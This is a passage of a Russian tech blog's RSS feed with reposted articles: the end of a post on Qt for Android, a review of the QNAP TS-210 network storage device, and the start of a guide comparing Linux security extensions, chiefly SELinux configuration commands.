<p style="text-align:justify;">Когда-то (то ли в 2007, то ли в 2008) у меня на телефоне (Motorola A1200e, один из первых телефонов с Linux, и, кстати, с гуем, написанным на Qt 2) появилась QTopia, также известная как Qt Embedded — встраиваемая ОС от Trolltech на базе Linux Kernel 2.6 с оболочкой на Qt 4, заброшенная после <a href="http://www.xakep.ru/post/53445/">покупки</a> троллей нокией. Появилась она благодаря труженикам с форума motofan, сумевшим портировать ее на ядро 2.4 (другого у A1200 не было и не будет, поэтому не будет и Андроида). Так вот, когда я ее поставил, был удивлен простотой портирования приложений с десктопа на телефон — иногда требовалось просто пересобрать его кросс-компилятором, и все!</p>
<p style="text-align:justify;">К сожалению, новомодного Qt 4.5 платформа не получила (и зря — на мой взгляд, она была не хуже, чем Maemo). Теперь такой метод портирования возможен и на Android, а ведь за ним будущее. И, кстати, вовсю идет портирование Qt Mobility, классного фреймворка для телефонов Nokia. Жаль, пока что портированием занимается только один, пусть и очень крутой человек (кстати, помочь не желаешь?). В общем, нам осталось дождаться портирования Qt на iOS (там, к сожалению, все далеко не так радужно), и тогда можно будет смело заявлять, что лозунг Qt Software не высосан из пальца.</p>
<p style="text-align:justify;">Qt Everywhere!</p>
<h3 style="text-align:justify;">Thanks to:</h3>
<p style="text-align:justify;">Огромное спасибо румыну taipanromania (автор порта) и marflon (раньше, кстати, писал в ][) за помощь с созданием .apk, ну и, традиционно, группе И-3-1 (Прикладная Математика) МГТУ &laquo;Станкин&raquo;.</p>
<p style="text-align:justify;">&nbsp;</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/%d0%ba%d0%be%d0%b4%d0%b8%d0%bd%d0%b3/'>КОДИНГ</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/245/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=245&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/10/12/sms-%d1%81%d0%b5%d0%bd%d0%b4%d0%b5%d1%80-%d0%b4%d0%bb%d1%8f-android-%d0%b8%d1%81%d1%81%d0%bb%d0%b5%d0%b4%d1%83%d0%b5%d0%bc-%d0%bd%d0%b5%d0%b4%d1%80%d0%b0-%d0%be%d0%bf%d0%b5%d1%80%d0%b0%d1%86%d0%b8/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53445/widget.jpg" medium="image" />
	</item>
		<item>
		<title>Вынос мозгов на витую пару: тест сетевого хранилища QNAP TS-210</title>
		<link>http://arthurbabark.wordpress.com/2010/10/12/%d0%b2%d1%8b%d0%bd%d0%be%d1%81-%d0%bc%d0%be%d0%b7%d0%b3%d0%be%d0%b2-%d0%bd%d0%b0-%d0%b2%d0%b8%d1%82%d1%83%d1%8e-%d0%bf%d0%b0%d1%80%d1%83-%d1%82%d0%b5%d1%81%d1%82-%d1%81%d0%b5%d1%82%d0%b5%d0%b2%d0%be/</link>
		<comments>http://arthurbabark.wordpress.com/2010/10/12/%d0%b2%d1%8b%d0%bd%d0%be%d1%81-%d0%bc%d0%be%d0%b7%d0%b3%d0%be%d0%b2-%d0%bd%d0%b0-%d0%b2%d0%b8%d1%82%d1%83%d1%8e-%d0%bf%d0%b0%d1%80%d1%83-%d1%82%d0%b5%d1%81%d1%82-%d1%81%d0%b5%d1%82%d0%b5%d0%b2%d0%be/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 13:30:42 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[FERRUM]]></category>
		<category><![CDATA[возможности]]></category>
		<category><![CDATA[девайс]]></category>
		<category><![CDATA[доступа]]></category>
		<category><![CDATA[настройки]]></category>
		<category><![CDATA[помощью]]></category>
		<category><![CDATA[хранилища]]></category>
		<category><![CDATA[хранилище]]></category>
		<category><![CDATA[qnap]]></category>
		<category><![CDATA[raid]]></category>
		<category><![CDATA[web-сервер]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=243</guid>
		<description><![CDATA[Цена: 10 800 руб. Технические характеристики сетевого хранилища QNAP TS-210 Процессор: Marvell 6281 800 МГц Память: 256 Мбайт DDR2 RAM, 16 Мбайт Flash Интерфейсы: 1x RJ-45 Gigabit Ethernet, 3x USB 2.0 HDD-отсек: 2x 3.5” SATA Возможности: SMB, NFS, Apple Networking, Telnet/SSH, FTPсервер, Web-сервер (PHP, MySQL), менеджер загрузок (HTTP/FTP/Bit Torrent), UPnP, iTunes Service, Print Server и [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=243&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<ul>
<li style="text-align:justify;">Цена: 10 800 руб.</li>
</ul>
<h2 style="text-align:justify;">Технические характеристики сетевого хранилища QNAP TS-210</h2>
<ul style="text-align:justify;">
<li>Процессор: Marvell 6281 800 МГц</li>
<li>Память: 256 Мбайт DDR2 RAM, 16 Мбайт Flash</li>
<li>Интерфейсы: 1x RJ-45 Gigabit Ethernet, 3x USB 2.0</li>
<li>HDD-отсек: 2x 3.5” SATA</li>
<li><a href="http://www.xakep.ru/post/53443/">Возможности</a>: SMB, NFS, Apple Networking, Telnet/SSH, FTPсервер, Web-сервер (PHP, MySQL), менеджер загрузок (HTTP/FTP/Bit Torrent), UPnP, iTunes Service, Print Server и др.</li>
<li>Возможности RAID: RAID 0, RAID 1, JBOD</li>
<li>Габариты, мм: 165x85x218</li>
<li>Вес, г: 910 (без адаптера питания и жестких дисков)</li>
</ul>
<p style="text-align:justify;">На рынке имеются самые разнообразные NAS&#8217;ы для дома и офиса – с жесткими дисками и без, являющие собой эдакий конструктор. Есть наборчики попроще, а есть напичканные по самую крышечку всяческими функциями. Порой пользователи предпочитают вместо <a href="http://www.xakep.ru/post/53443/">покупки</a> готового хранилища собрать из своего старого железа такой девайс самостоятельно, вот и стараются производители сделать свои устройства максимально привлекательными. В этом обзоре мы посмотрим, чем нас может заинтриговать и соблазнить сетевое хранилище <strong>QNAP TS-210</strong>.</p>
<p style="text-align:justify;"><img src="http://www.xakep.ru/post/53443/QNAP_TS-210.jpg" border="0" alt="" width="450" height="458" /></p>
<p style="text-align:justify;"><span id="more-243"></span></p>
<h2 style="text-align:justify;">Описание QNAP TS-210</h2>
<p style="text-align:justify;">Первый плюс, который нужно отметить, – это симпатичный внешний вид устройства. Оно выполнено в достаточно компактном и аккуратном белом корпусе. На передней панели, кроме светодиодной индикации и кнопки включения, расположен один USB-порт и кнопка быстрого резервного копирования. Еще два USB-порта находятся на задней панели и могут быть использованы для подключения USB-дисков, флешек и принтеров. Конструкция корпуса, по сравнению с другими моделями, не самая удобная – для установки дисков нужно отвинтить крышку, затем прикрутить винчестеры в стойку, один над другим. Нижний подключается прямо в разъем, установленный на плате, второй с помощью SATA-кабеля.</p>
<p style="text-align:justify;">Для охлаждения накопителей на задней стенке корпуса установлен кулер диаметром 6 см с автоматической регулировкой скорости вращения. Отметим, что <strong>TS-210</strong> очень тихий в работе. Для людных офисов в хранилище есть &laquo;противоугонная&raquo; система – отверстие для замка Kensington. Причем замок блокирует и крышку хранилища, предотвращая кражу не только всего медиасервера, но и отдельных дисков.</p>
<p style="text-align:justify;">По умолчанию девайс настроен на автоматическое получение IP-адреса с DHCP-сервера. Чтобы найти его в сети и перенастроить, нам предлагается воспользоваться программой QNAP Finder. В web-интерфейсе нас сначала встретил мастер первичной настройки – он даже спросил, откуда взять прошивку (прошивка, кстати, универсальная, в том смысле, что содержит сразу несколько языков, включая русский).</p>
<p style="text-align:justify;">После завершения процедуры попадаем на главную страницу меню настроек (если включить встроенный web-сервер, то сначала будет показана краткая инструкция о том, как им пользоваться). Главная страница выглядит весьма эффектно (вовсю применяется технология AJAX) и предлагает нам выбрать нужный раздел, например, &laquo;Администрирование&raquo; или &laquo;Менеджер загрузки&raquo; – таким образом, обычному пользователю не придется продираться через дебри настроек к нужной функции. Раздел &laquo;Конфигурация&raquo; выполнен наглядно и <a href="http://www.xakep.ru/post/53443/">удобно</a>, все настройки хорошо сгруппированы, так что запутаться в них трудно. Приятно, что ссылки на нужные настройки могут быть вынесены на главную страницу.</p>
<p style="text-align:justify;">Диски в <strong>TS-210</strong> можно объединить в массивы RAID 0, RAID 1 и JBOD. В разделе управления дисками присутствует закладка S.M.A.R.T. – как понятно из названия, здесь можно просмотреть подробный, но по факту малополезный отчет о физическом состоянии накопителей.</p>
<p style="text-align:justify;">Хранилище поддерживает обширный набор сетевых служб – девайс может работать в сетях Microsoft, Apple, *nix, также возможен доступ по FTP и протоколам Telnet/SSH. Кроме того, присутствует web-менеджер файлов, причем, нужно заметить, реализован он весьма качественно. Еще одна web-программа – Multimedia Station – позволяет пользователям создавать свои мультимедиа-альбомы и просматривать их содержимое в виде слайдшоу.</p>
<p style="text-align:justify;">Одной из самых полезных возможностей медиасерверов является автоматическая закачка файлов из Интернета. Разумеется, наш подопытный тоже умеет это делать – поддерживаются протоколы HTTP, FTP и BitTorrent. В плюс имеющемуся BitTorrent-клиенту стоит записать способность раздавать файлы после скачивания (можно также задать, в течение какого времени он будет это делать). Но есть и недостатки – например, нет возможности выбрать, какие файлы, входящие в торрент, нужно скачивать, а какие нет. Управлять загрузками можно как через web-интерфейс, так и с помощью специальной программы QGet.</p>
<p style="text-align:justify;">Производитель неплохо прокачал функцию бекапа – можно копировать данные с внешнего носителя или на него, а также создавать копии на других сетевые ресурсах. Настроить резервное копирование можно как встроенными в хранилище средствами, так и с помощью программы NetBak Replicator.</p>
<p style="text-align:justify;">Приятной фишкой хранилища стал встроенный web-сервер, причем с уже установленными интерпретатором PHP и базой MySQL – прямо-таки стандартный набор для любого нормального сайта. Отметим, что через web-интерфейс можно устанавливать дополнительные пакеты в формате QPKG (например, Joomla, WordPress и MLDonkey, а в скором времени и RTorrent и Transmittion), с помощью которых можно расширить функциональность встроенного сервера.</p>
<p style="text-align:justify;">Для ограничения доступа к данным, кроме распределения прав доступа по группам пользователей, при желании можно воспользоваться IP-фильтром, разрешив или, наоборот, запретив доступ определенным адресам. В случае возникновения внештатных ситуаций сервер уведомит администратора по электронной почте или SMS.</p>
<p style="text-align:justify;">Для организации медиавещания можно воспользоваться встроенным сервером DLNA/UPnP. С его помощью с <strong>TS-210</strong>можно транслировать музыку и фильмы на сетевые плееры, подключенные к телевизору. Это могут быть популярные консоли PlayStation 3 и Xbox 360, медиаплееры WD TV Live, QNAP NMP1000 и другие. Никакой предварительной настройки не требуется – сетевой плеер сразу же подцепит DLNA-сервер хранилища <strong>QNAP</strong> и сможет начать трансляцию.</p>
<p style="text-align:justify;">Что касается работы с периферийными устройствами: кроме внешних накопителей и принтеров, <strong>TS-210</strong> умеет взаимодействовать с ИБП и самостоятельно отключаться через заданное время при нарушении питания, а также работать с камерами видеонаблюдения.</p>
<h2 style="text-align:justify;">Методика тестирования</h2>
<p style="text-align:justify;">Богатый функционал это, конечно, здорово, но какую производительность способен показать <strong>TS-210</strong>? Чтобы это выяснить, мы провели испытания для двух случаев – в первом диски объединялись в массив RAID 0, который, как известно, обеспечивает более высокую скорость доступа к данным, но при этом не обеспечивает дополнительной защиты от издыхания одного диска в массиве. Во втором – в более медленный, но <a href="http://www.xakep.ru/post/53443/">надежный</a> RAID 1. В качестве бенчмарка использовалась программа Intel NAS Perfomance Toolkit 1.7.1, специально разработанная для тестирования производительности сетевых хранилищ. Утилита эмулирует типичные для работы с NAS операции, такие как копирование файлов, проигрывание HD-видео и другие. При тестировании использовалась официальная прошивка версии 3.2.5, устройство подключалось к гигабитной сетевой карте.</p>
<p style="text-align:justify;"><img src="http://www.xakep.ru/post/53443/test_QNAP.jpg" border="0" alt="" width="321" height="589" /></p>
<h2 style="text-align:justify;">Выводы</h2>
<p style="text-align:justify;"><strong>QNAP TS-210</strong> произвел на нас благоприятное впечатление, поскольку сочетает в себе неплохую производительность, огромное количество полезных функций, симпатичный дизайн и приемлемую цену. Модель вполне можно рекомендовать в качестве домашнего сетевого хранилища и медиасервера. Отметим, что <strong>QNAP</strong>регулярно выпускает новые прошивки и утилиты, что позволяет надеяться на дальнейший рост функциональности<strong>TS-210</strong>.</p>
<p style="text-align:justify;">&nbsp;</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/ferrum/'>FERRUM</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/243/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=243&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/10/12/%d0%b2%d1%8b%d0%bd%d0%be%d1%81-%d0%bc%d0%be%d0%b7%d0%b3%d0%be%d0%b2-%d0%bd%d0%b0-%d0%b2%d0%b8%d1%82%d1%83%d1%8e-%d0%bf%d0%b0%d1%80%d1%83-%d1%82%d0%b5%d1%81%d1%82-%d1%81%d0%b5%d1%82%d0%b5%d0%b2%d0%be/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53443/QNAP_TS-210.jpg" medium="image" />

		<media:content url="http://www.xakep.ru/post/53443/test_QNAP.jpg" medium="image" />
	</item>
		<item>
		<title>Гонка вооружений: сравниваем популярные расширения безопасности для ОС Linux</title>
		<link>http://arthurbabark.wordpress.com/2010/10/12/%d0%b3%d0%be%d0%bd%d0%ba%d0%b0-%d0%b2%d0%be%d0%be%d1%80%d1%83%d0%b6%d0%b5%d0%bd%d0%b8%d0%b9-%d1%81%d1%80%d0%b0%d0%b2%d0%bd%d0%b8%d0%b2%d0%b0%d0%b5%d0%bc-%d0%bf%d0%be%d0%bf%d1%83%d0%bb%d1%8f%d1%80/</link>
		<comments>http://arthurbabark.wordpress.com/2010/10/12/%d0%b3%d0%be%d0%bd%d0%ba%d0%b0-%d0%b2%d0%be%d0%be%d1%80%d1%83%d0%b6%d0%b5%d0%bd%d0%b8%d0%b9-%d1%81%d1%80%d0%b0%d0%b2%d0%bd%d0%b8%d0%b2%d0%b0%d0%b5%d0%bc-%d0%bf%d0%be%d0%bf%d1%83%d0%bb%d1%8f%d1%80/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 13:28:35 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[apparmor]]></category>
		<category><![CDATA[безопасности]]></category>
		<category><![CDATA[доступа]]></category>
		<category><![CDATA[профили]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[системы]]></category>
		<category><![CDATA[proc]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[selinux]]></category>
		<category><![CDATA[tomoyo]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=241</guid>
		<description><![CDATA[Unix, родившийся практически вместе с первыми компьютерами, использовал очень простой механизм безопасности (ugo), который гуру семидесятых посчитали более чем достаточным. Но в современной системе, где крутятся десятки демонов и программ, запущенных из-под разных учеток, грамотно разрулить все права старыми инструментами уже не получается. А делать что-то нужно. Дискреционный и мандатный контроль доступа Для начала отвлечемся [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=241&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Unix, родившийся практически вместе с первыми компьютерами, использовал очень простой механизм безопасности (ugo), который гуру семидесятых посчитали более чем достаточным. Но в современной системе, где крутятся десятки демонов и программ, запущенных из-под разных учеток, грамотно разрулить все права старыми инструментами уже не получается. А делать что-то нужно.</p>
<h2 style="text-align:justify;">Дискреционный и мандатный контроль доступа</h2>
<p style="text-align:justify;">Для начала отвлечемся и поразмышляем о том, что есть и зачем нужно еще что-то прикручивать. Одна из задач любой ОС — обеспечить разделение информации, основываясь, в первую очередь, на требованиях конфиденциальности и целостности. Традиционная модель Unix оперирует тремя параметрами — пользователь, группа-пользователь и остальные. Называется она <strong>дискреционной</strong> (<strong>Discretionary Access Control</strong> — DAC), то есть добровольной моделью доступа. Пользователь сам определяет права доступа к своим файлам, а выполняющиеся программы имеют те же права, что и запустивший их пользователь. Механизм DAC опирается в своей работе только на тождество пользователя, игнорируя другую информацию, например, о роли пользователя в системе, функции и уровне доверия конкретной программы и необходимости в целостности данных. Каждая учетная запись имеет полную свободу действий в пределах своих полномочий.</p>
<p style="text-align:justify;">Как ты понимаешь, развернуться с DAC особенно негде: все или ничего; винда — и та дает больше возможностей по настройке доступа к объектам. Поэтому сегодня для Linux доступны решения, базирующиеся на совершенно другой модели защиты — MAC (<strong>Mandatory Access Control</strong>, <strong>принудительный контроль доступа</strong>). Они позволяют определить политики безопасности над всеми процессами и объектами, решение о доступе принимается на основе большего количества информации об объекте, а не только основываясь на тождестве пользователя. Причем MAC не отменяет, а дополняет DAC, так как сначала проверяются права Unix, и, если они запрещают доступ, то дальнейшая проверка просто не производится. Проверка прав выполняется только в том случае, если стандартные права Unix разрешают доступ к объекту. Любой объект помещается в некую виртуальную песочницу, которая позволяет приложению выполнять только строго регламентированные задачи. Причем при описании доступа к объекту конкретные реализации могут придерживаться разных принципов: очень строгие правила по типу &laquo;что не разрешено явно — запрещено&raquo; и &laquo;минимально необходимые привилегии&raquo;.</p>
<p style="text-align:justify;">Например, можно настроить систему так, что веб-сервер будет слушать соединения на строго определенном порту, сможет читать файлы только в указанном каталоге и так далее. То есть описать поведение системы в ее нормальном состоянии, создав жесткий каркас, за который нельзя будет выскочить. Это позволяет выполнять программы с правами обычного пользователя, а доступ к необходимым ресурсам указывать при помощи политик.</p>
<p style="text-align:justify;">В дистрибутивах Linux используются два решения: SELinux в RedHat и клонах, а также AppArmor в Ubuntu. В ядре версии 2.6.30 появился код еще одного проекта — <a href="http://tomoyo.sf.jp/" target="_blank">TOMOYO Linux</a>, которому пророчат светлое будущее, но пока по умолчанию он нигде не используется. Давай рассмотрим их особенности, а также плюсы и минусы.<span id="more-241"></span></p>
<h2 style="text-align:justify;">Сверхзащищенный SELinux</h2>
<p style="text-align:justify;">Проект <strong>SELinux</strong> (<strong>Security Enhanced Linux</strong>, <a href="http://selinuxproject.org/" target="_blank">selinuxproject.org</a>) зародился в недрах U.S. NSA (National Security Agency), хмурые неразговорчивые дядьки которого поставили своей целью допилить Linux таким образом, чтобы его можно было спокойно использовать не где-нибудь, а в правительственных системах. Анонсирован общественности в 2000 году, затем разработчики справедливо решили: зачем что-то делать самим, если в интернете есть много желающих? В результате сегодня проект развивается под лицензией GNU GPL и уже включен в состав ядра ветки 2.6.х, также выполнена адаптация для FreeBSD и OpenSolaris.</p>
<p style="text-align:justify;">Реализация MAC требует четкого описания правил, что может привести к образованию большого их количества. Поэтому в <strong>SELinux</strong> использована концепция роль-основанного контроля доступа Role-Based Access Control (RBAC), в которой определяются роли и доступ пользователей. Механизм защиты в <strong>SELinux</strong> носит название Type Enforcement (TE) и позволяет закрепить за каждым процессом и файлом, которые необходимо контролировать, некую метку. Если процесс, запущенный от имени администратора, скомпрометирован, то ущерб, который может быть причинен системе, ограничен только тем, к чему он может обращаться, согласуясь с установленными для него правилами (а они описывают поведение очень тонко).</p>
<p style="text-align:justify;">Также в <strong>SELinux</strong> реализована многоуровневая система обеспечения безопасности (MLS, Multi-Level Security model), но ее задействуют только в особых случаях, например, в правительственных многопользовательских системах, требующих чрезвычайно высокого уровня защиты.</p>
<p style="text-align:justify;">Когда в процессе работы системы субъект пытается оказать некое действие на объект, <strong>SELinux</strong> принимает решение о допустимости указанного действия, основываясь на контекстах безопасности объекта и субъекта. Субъект — это процессы, выполняемые от имени запустившего их пользователя. Объект — элементы файловой системы (файлы, каталоги, ссылки, сокеты и пр.) или другие процессы, над которыми выполняются действия. И теперь самое важное, что отличает <strong>SELinux</strong> от других решений, описанных далее — все важные защитные атрибуты сохраняются в контекстах безопасности. Поэтому файловая система должна уметь хранить дополнительные атрибуты, и сами атрибуты нужно как-то задать. Современные ядра все обеспечивают, но при самостоятельной пересборке ядра не забудь активировать параметр &laquo;Extended attributes&raquo; в выбранной файловой системе.</p>
<p style="text-align:justify;">Атрибуты устанавливаются при инициализации системы. Отсюда делаем вывод, что объект уже должен существовать на момент установки атрибутов. Сам атрибут включает идентификатор владельца, роль и тип объекта. Причем идентификатор <strong>SELinux</strong> (создается командой semanage), хотя и может совпадать в номере с UID пользователя Linux (uid), но это две разные вещи. Не забываем еще об одном важном отличии — <strong>SELinux</strong> оперирует ролями, поэтому несколько учетных записей Linux могут иметь одну и ту же учетную запись <strong>SELinux</strong>. И главное — выполнение команды</p>
<p style="text-align:justify;">Проверить это легко:</p>
<p style="text-align:justify;"><code>$ id –Z<br />
user_u:user_t:unconfined_t</code></p>
<p style="text-align:justify;">Получаем привилегии суперпользователя и проверяем снова:</p>
<p style="text-align:justify;"><code>$ su<br />
# id –Z<br />
user_u:user_t:unconfined_t</code></p>
<p style="text-align:justify;">Если зайти сразу под рутом, то роль другая:</p>
<p style="text-align:justify;"><code># id -Z<br />
root:system_r:unconfined_t:SystemLow-SystemHigh</code></p>
<p style="text-align:justify;">Изменить роль можно при помощи команды newrole. При использовании <strong>SELinux</strong> штатные команды выводят и контекст. Чтобы  просмотреть контекст файлов и процессов, набираем:</p>
<p style="text-align:justify;"><code># ls -l –context /<br />
# ps -ax -Z</code></p>
<p style="text-align:justify;">Кроме того, контекст можно считать прямо из /proc:</p>
<p style="text-align:justify;"><code># ps aux | grep syslogd<br />
root 2729 0.0 0.0 5908 624 ? Ss 07:30 0:00 syslogd -m 0<br />
# cat /proc/2729/attr/current<br />
system_u:system_r:syslogd_t:s0</code></p>
<p style="text-align:justify;">Предусмотрена работа <strong>SELinux</strong> в трех режимах — disable (отключен), enforcing (политики выполняются, все, что не соответствует — блокируется), permissive (политики анализируются, все нарушения заносятся в журнал &laquo;avc: denied&raquo;, но блокировки не производятся). Узнать текущий режим просто, как, впрочем, и некоторые другие настройки, достаточно прочитать данные из псевдофайловой системы /selinux:</p>
<p style="text-align:justify;"><code>$ cat /selinux/enforce</code></p>
<p style="text-align:justify;">Если получим 1, значит, SELinux активирован. Чтобы изменить режим работы на лету, просто записываем в этот файл 0 или 1:</p>
<p style="text-align:justify;"><code># echo 0 &gt; /selinux/enforce</code></p>
<p style="text-align:justify;">Также можно воспользоваться утилитой &laquo;setenforce [ Enforcing | Permissive | 1 | 0 ]&laquo;.</p>
<p style="text-align:justify;">Собственно настройки производятся в конфигурационных файлах, размещенных в каталоге /etc. В дистрибутивах, базирующихся на RedHat, доступен графический SELinux Administration Tool (system-configselinux, пакет policycoreutils-gui). Так, режим работы устанавливается в файле /etc/sysconfig/selinux (на самом деле это ссылка на /etc/selinux/config). В частности, режим работы определяет параметр SELINUX:</p>
<p style="text-align:justify;"><code>SELINUX=enforcing|permissive|disabled</code></p>
<p style="text-align:justify;">По умолчанию в большинстве дистрибутивов <strong>SELinux</strong> защищает не все демоны, а только строго определенные: dhcpd, httpd, named, nscd, ntpd, portmap, snmpd, squid и syslogd. Для остальных политика не определена — unconfined_t. Чтобы защитить всю систему, необходимо изменить значение SELINUXTYPE на strict:</p>
<p style="text-align:justify;"><code>SELINUXTYPE=targeted|strict</code></p>
<p style="text-align:justify;">В каталоге /etc/selinux/targeted/contexts находим описание контекстов.</p>
<p style="text-align:justify;">Например, для root контекст описывается так:</p>
<p style="text-align:justify;"><code># cat /etc/selinux/targeted/contexts/users/root<br />
system_r:unconfined_t:s0 system_r:unconfined_t:s0<br />
system_r:initrc_t:s0 system_r:unconfined_t:s0</code></p>
<p style="text-align:justify;">Чтобы просмотреть все контексты, связанные с httpd, введи такую команду:</p>
<p style="text-align:justify;"><code># grep -iR httpd /etc/selinux/targeted/contexts</code></p>
<p style="text-align:justify;">Ты увидишь, что для разных ситуаций контекст будет отличаться. Теперь получим список всех параметров <strong>SELinux</strong>: &laquo;getsebool -a&raquo;. Для установки используй команду setsebool (с ключом &#8216;-P&#8217; для сохранения значения после перезагрузки) или графическую утилиту system-configsecuritylevel. Вывод &laquo;sestatus -v&raquo; покажет все текущие установки. Не забываем и о журналах:</p>
<p style="text-align:justify;"><code># dmesg | grep -i selinux<br />
SELinux: Initializing.<br />
SELinux: Starting in permissive mode<br />
# grep -iR selinux /var/log/messages</code></p>
<p style="text-align:justify;">Все вспомогательные утилиты <strong>SELinux</strong> собраны в нескольких пакетах: setools или policycoreutils, policycoreutils-newrole. Первый, как правило, уже установлен в системе, остальных нет. Например, newrole, дающая <a href="http://www.xakep.ru/post/53424/">возможность</a>пользователю сменить роль, доступна именно в policycoreutils. После установки в системе присутствуют только наборы политик для targened, остальные наборы политик скачиваются в пакетах selinux-policy*. Сорцы политик для их самостоятельной сборки вынесены в selinux-policy-devel.</p>
<p style="text-align:justify;">Разобраться в более чем 200 файлах, имеющих несколько тысяч строк, врукопашную очень трудно. Автоматизировать эту задачу призван питоновый скрипт audit2allow (в policycoreutils), он генерирует новые политики на основе анализа журналов и блокировок <strong>SELinux</strong>.</p>
<blockquote>
<h3>Проекты LIDS, GRSecurity и RSBAC</h3>
<p>Кроме проектов, описанных в статье, в настоящее время развиваются и другие, позволяющие повысить защиту Linux-систем — <a href="http://lids.org/" target="_blank">LIDS (Linux Intrusion Detection System)</a>, <a href="http://grsecurity.org/" target="_blank">GRSecurity</a> и <a href="http://www.rsbac.org/" target="_blank">RSBAC (Rule Set Based Access Control)</a>. Кратко о них.</p>
<p>Проект <strong>LIDS</strong> реализует MAC, админ может четко указать разрешения для файлов и каталогов. Помимо этого механизмы TPE (Trusted Path Execution) и TDE (Trusted Domain Enforcement) позволяют убедиться, что программа работает так, как предназначено. Сайт проекта некоторое время был заброшен, хотя инструменты развиваются. Управление производится при помощи утилит и чем-то напоминает настройку правил файера.</p>
<p><code># lidsconf -A -o /sbin -j READONLY</code></p>
<p><strong>GRSecurity</strong> — разработка, охватывающая несколько технологий укрепления безопасности — MAC/ACL, улучшенный chroot, рандомизация TCP ISN и PID, ролевая система контроля доступа RBAC, функции аудита, защита адресного пространства и стека PaX (доступен и отдельно). Большинство параметров указывается на этапе сборки ядра, затем при помощи утилиты gradm настраиваются ACL.</p>
